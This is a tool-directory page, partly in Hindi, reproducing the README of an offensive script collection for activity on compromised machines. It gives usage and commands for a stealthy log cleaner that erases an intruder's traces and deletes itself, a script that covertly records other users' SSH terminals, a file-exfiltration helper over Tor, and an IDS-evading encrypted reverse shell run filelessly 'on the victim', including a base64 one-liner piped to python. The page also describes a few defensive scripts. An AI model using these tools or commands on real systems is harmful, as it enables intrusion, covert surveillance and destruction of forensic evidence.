Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
freedomfighting — स्क्रिप्ट्स का एक संग्रह जो आपकी स्वतंत्रता सेनानी गतिविधियों के दौरान काम आ सकता है। | Kitploit
उपकरण/GitHubGitHub/justicerage/freedomfighting
टोहीएन्क्रिप्शन/डिक्रिप्शन उपकरणफोरेंसिकजानकारी एकत्र करनापोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगक्रॉलररिमोट एक्सेस टूललॉग विश्लेषण
418683 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHub
justicerage/freedomfighting

freedomfighting

स्क्रिप्ट्स का एक संग्रह जो आपकी स्वतंत्रता सेनानी गतिविधियों के दौरान काम आ सकता है।

रिपॉजिटरी देखें
साझा करें

स्वतंत्रता सेनानी स्क्रिप्ट्स

इस रिपॉजिटरी में स्क्रिप्ट्स हैं जो आपकी स्वतंत्रता सेनानी गतिविधियों के दौरान काम आ सकती हैं। इसे समय-समय पर अपडेट किया जाएगा, जब मुझे किसी ऐसी चीज़ की आवश्यकता होगी जो मुझे ऑनलाइन नहीं मिलती। यहाँ सब कुछ GPL v3 लाइसेंस की शर्तों के तहत वितरित किया जाता है।

योगदान और पुल रिक्वेस्ट का स्वागत है।

विषय सूची

  • nojail.py, एक पायथन लॉग क्लीनर।
  • share.sh, एक सुरक्षित फ़ाइल साझाकरण स्क्रिप्ट।
  • autojack.py, एक टर्म लॉगर।
  • listurl.py, एक साइट मैपर।
  • ersh.py, एक एन्क्रिप्टेड रिवर्स शेल।
  • boot_check.py, एक स्क्रिप्ट जो ईविल-मेड हमलों का पता लगाती है।
  • notify_hook.py, एक तरीका जब सिस्टम पर कुछ बाइनरी कॉल की जाती हैं तो अलर्ट ट्रिगर करने के लिए।
  • Miscellaneous (संपर्क और दान)

nojail.py

एक लॉग क्लीनर जो आपत्तिजनक प्रविष्टियों को हटाता है:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (who, w और last कमांड्स के आउटपुट को नियंत्रित करता है)
  • /var/log/lastlog (lastlog कमांड के आउटपुट को नियंत्रित करता है)
  • /var/**/*.log (.log.1, .log.2.gz, आदि शामिल)
  • उपयोगकर्ता द्वारा निर्दिष्ट कोई भी अतिरिक्त फ़ाइल या फ़ोल्डर

प्रविष्टियाँ एक IP पते और/या संबद्ध होस्टनेम के आधार पर हटा दी जाती हैं।

लॉग के साथ छेड़छाड़ करते समय फ़ाइल डिस्क्रिप्टर को तोड़ने से बचने के लिए विशेष ध्यान रखा जाता है। इसका मतलब है कि छेड़छाड़ के बाद भी लॉग में लिखना जारी रहता है, जिससे सफाई बहुत कम ध्यान देने योग्य होती है। सारा काम tmpfs ड्राइव में होता है और बनाई गई कोई भी फ़ाइल सुरक्षित रूप से मिटा दी जाती है।

चेतावनी: स्क्रिप्ट केवल Linux पर परीक्षण की गई है और अन्य Unix स्वादों पर UTMP प्रविष्टियों को साफ़ करने में सक्षम नहीं होगी।

उपयोग:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

root@kitploit:~
 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
root@kitploit:~
डिफ़ॉल्ट रूप से, यदि कोई तर्क नहीं दिया गया है, तो स्क्रिप्ट `SSH_CONNECTION` एनवायरनमेंट वेरिएबल के आधार पर साफ़ करने के लिए आईपी पता निर्धारित करने का प्रयास करेगी। उस आईपी के रिवर्स DNS से मेल खाने वाली कोई भी प्रविष्टि भी हटा दी जाएगी।

#### मूल उदाहरण:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...उपयोगकर्ता root के लिए सभी प्रविष्टियाँ हटा देंगे जहाँ IP पता 151.80.119.32 है या hostame manalyzer.org है। --check विकल्प के कारण प्रत्येक रिकॉर्ड को हटाने से पहले उपयोगकर्ता से पुष्टि भी माँगी जाएगी। अंत में, फ़ाइल /etc/app/logs/access.log को सभी डिफ़ॉल्ट फ़ाइलों के अतिरिक्त संसाधित किया जाएगा।

यदि फ़ोल्डरों को स्थितिगत तर्कों के रूप में दिया जाता है (उदाहरण के लिए /etc/app/logs/), तो स्क्रिप्ट उन्हें रिकर्सिव रूप से क्रॉल करेगी और .log एक्सटेंशन वाली किसी भी फ़ाइल (*.log.1, *.log.2.gz, आदि सहित) को साफ करेगी।

Regular expressions

आप लॉग फ़ाइल से मनमानी पंक्तियों को भी हटाना चाह सकते हैं। ऐसा करने के लिए, --regexp विकल्प का उपयोग करें। उदाहरण के लिए, निम्नलिखित कमांड लाइन निर्दिष्ट IP से PHP फ़ाइलों के लिए सभी POST अनुरोधों को खोजेगी:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

root@kitploit:~
#### स्क्रिप्ट को डेमॉन बनाना```
./nojail.py --daemonize

यह मानते हुए कि यह SSH कनेक्शन से चलाया जा रहा है, यह कमांड कनेक्शन बंद होने के तुरंत बाद वर्तमान उपयोगकर्ता की गतिविधि से संबंधित सभी लॉग को पता लगाए गए IP पते और होस्टनाम के साथ हटा देगा। यह स्क्रिप्ट बाद में स्वचालित रूप से स्वयं को हटा लेगी।
कृपया ध्यान रखें कि आपको एप्लिकेशन से त्रुटि संदेश प्राप्त करने का कोई अवसर नहीं मिलेगा। आपको सलाह दी जाती है कि डेमॉन को चालू करने से पहले एक बार लॉग को हटाने का प्रयास करें ताकि यह सुनिश्चित हो सके कि आपके द्वारा निर्दिष्ट तर्क सही हैं।
यदि आप बिना TTY वाले शेल में हैं, तो स्क्रिप्ट सेशन समाप्त होने का पता नहीं लगा पाएगी। आपको सूचित किया जाएगा कि लॉग 60 सेकंड में हटा दिए जाएंगे, और आपको उससे पहले लॉग आउट कर लेना चाहिए (अन्यथा स्क्रिप्ट चलने के बाद अधिक प्रविष्टियाँ बनने का जोखिम है)।

Sample output:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

root@kitploit:~
### अस्वीकरण
यह स्क्रिप्ट बिना किसी गारंटी के प्रदान की गई है।
मुझे दोष न दें कि यह उस चीज़ के सभी निशान नहीं मिटाता जो आपको पहले स्थान पर नहीं करनी चाहिए थी।

## share.sh

एक पोर्टेबल और सुरक्षित फ़ाइल साझाकरण स्क्रिप्ट। स्वतंत्रता की लड़ाई के दौरान, आमतौर पर समझौता की गई मशीनों में scp के माध्यम से फ़ाइलें स्थानांतरित करना संभव नहीं होता है। फ़ाइलें अपलोड करने के वैकल्पिक तरीकों की आवश्यकता है, लेकिन अधिकांश साझाकरण सेवाएं या तो बहुत प्रतिबंधात्मक हैं या कमांड लाइन से आसानी से फ़ाइलें प्राप्त करने का कोई तरीका प्रदान नहीं करती हैं। सुरक्षा संबंधी विचार भी लोगों को क्लाउड प्रदाताओं के पास संवेदनशील फ़ाइलें अपलोड करने से रोक सकते हैं, इस डर से कि वे इसकी एक प्रति हमेशा के लिए रख लेंगे।

यह छोटी और पोर्टेबल bash स्क्रिप्ट उस समस्या को हल करने के लिए [transfer.sh](https://transfer.sh) पर निर्भर करती है। यह...
* फ़ाइलों को अपलोड करने से पहले एन्क्रिप्ट करता है (सममित AES-256-CBC)।
* बढ़ी हुई गुमनामी के लिए सिस्टम पर मौजूद होने पर स्वचालित रूप से `torify` का उपयोग करता है।

केवल आवश्यक निर्भरताएँ `openssl` और या तो `curl` या `wget` हैं।

### उपयोग```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

अपलोड के दौरान अतिरिक्त आर्गुमेंट्स आपको फ़ाइल के लिए अनुमत डाउनलोड की अधिकतम संख्या (-m) और transfer.sh इसे कितने दिनों तक रखेगा (-d) को नियंत्रित करने की अनुमति देते हैं। इन दोनों विकल्पों के लिए डिफ़ॉल्ट मान 1 है।

चेतावनी: एन्क्रिप्शन कुंजी में स्पेस का उपयोग न करें, अन्यथा आपके पासफ्रेज़ का केवल पहला शब्द ही माना जाएगा। ऐसा getopts द्वारा आर्गुमेंट्स को संभालने के तरीके के कारण है (मुझे लगता है)। यदि कोई इसे ठीक करने में रुचि रखता है तो पुल रिक्वेस्ट का स्वागत है।

autojack.py

AutoJack एक छोटी स्क्रिप्ट है जो EmptyMonkey के shelljack का उपयोग करके SSH के माध्यम से कनेक्ट होने वाले किसी भी उपयोगकर्ता के टर्मिनल को लॉग करती है। यह सफल कनेक्शनों के लिए auth.log पर नज़र रखती है, उपयोगकर्ता की bash प्रक्रिया का PID पता लगाती है, और बाकी काम को छोड़ देती हैshelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

root@kitploit:~
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

किसी वेबसाइट को उसके सभी URL को पुनरावृत्त रूप से प्राप्त करके मैप करें।

वैकल्पिक तर्क:
  -h, --help            यह सहायता संदेश दिखाएं और बाहर निकलें
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        क्रॉल करने की अधिकतम गहराई (डिफ़ॉल्ट 3 है)।
  --threads THREADS, -t THREADS
                        उपयोग करने के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट 10 है)।
  --url URL, -u URL     आरंभ करने का पृष्ठ।
  --external, -e        बाहरी लिंक का अनुसरण करें (डिफ़ॉल्ट गलत है)।
  --subdomains, -d      सबडोमेन को दायरे में शामिल करें (डिफ़ॉल्ट गलत है)।
  -c COOKIE, --cookie COOKIE
                        अनुरोध में कुकीज़ जोड़ें। कई बार निर्दिष्ट किया जा सकता
                        है। उदाहरण: -c "user=admin"।
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        अनदेखा करने के लिए URL से मेल खाने वाला एक नियमित
                        अभिव्यक्ति। दी गई अभिव्यक्ति को पूरे URL से मेल खाने की
                        आवश्यकता नहीं है, केवल उसका एक भाग।
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        प्रदर्शित परिणामों को फ़िल्टर करने वाला एक नियमित
                        अभिव्यक्ति। दी गई अभिव्यक्ति परिणामों के अंदर खोजी जाती है,
                        इसे पूरे URL से मेल खाने की आवश्यकता नहीं है।
                        उदाहरण: \.php$
  --no-certificate-check, -n
                        SSL प्रमाणपत्रों के सत्यापन को अक्षम करता है।
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        वह फ़ाइल जिसमें प्राप्त URL लिखे जाने चाहिए
  --verbose, -v         अधिक विस्तृत हों। कई बार निर्दिष्ट किया जा सकता है।```

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org [] गहराई 1 पर क्रॉलिंग शुरू हुई। [] गहराई 2 पर क्रॉलिंग शुरू हुई.... [] गहराई 3 पर क्रॉलिंग शुरू हुई। [] खोजे गए URLs: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

root@kitploit:~
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] गहराई 1 पर क्रॉलिंग प्रारंभ की गई।
   [*] गहराई 2 पर क्रॉलिंग प्रारंभ की गई...
   [*] गहराई 3 पर क्रॉलिंग प्रारंभ की गई।
   [*] खोजे गए URL:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] गहराई 1 पर क्रॉलिंग शुरू हुई। [] गहराई 2 पर क्रॉलिंग शुरू हुई।^C व्यवधान पकड़ा गया! कृपया थ्रेड्स के बंद होने तक कुछ सेकंड प्रतीक्षा करें... [*] खोजे गए URL: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a ऐसा बॉक्स जिसमें कोई मानक उपयोगिताएँ या संकलन उपकरण नहीं हैं, और बाइनरी अपलोड करने का कोई आसान तरीका नहीं है? क्या आप डरते हैं कि कोई IDS बाहर जाने वाले शेल को नोटिस कर लेगा? गलती से अपना netcat लिसनर बंद कर दिया क्योंकि आपने ^C दबा दिया? अब और मत सहो।ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

root@kitploit:~
###############################################################################
# इस पंक्ति के नीचे पैरामीटर संपादित करें
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

root@kitploit:~
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@kitploit:~
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@kitploit:~
root@victim:~# python ersh.py
[*] कनेक्शन स्थापित हुआ!
root@victim:~#```

And on the receiver again:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

root@kitploit:~
ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)
टूल डाउनलोड करें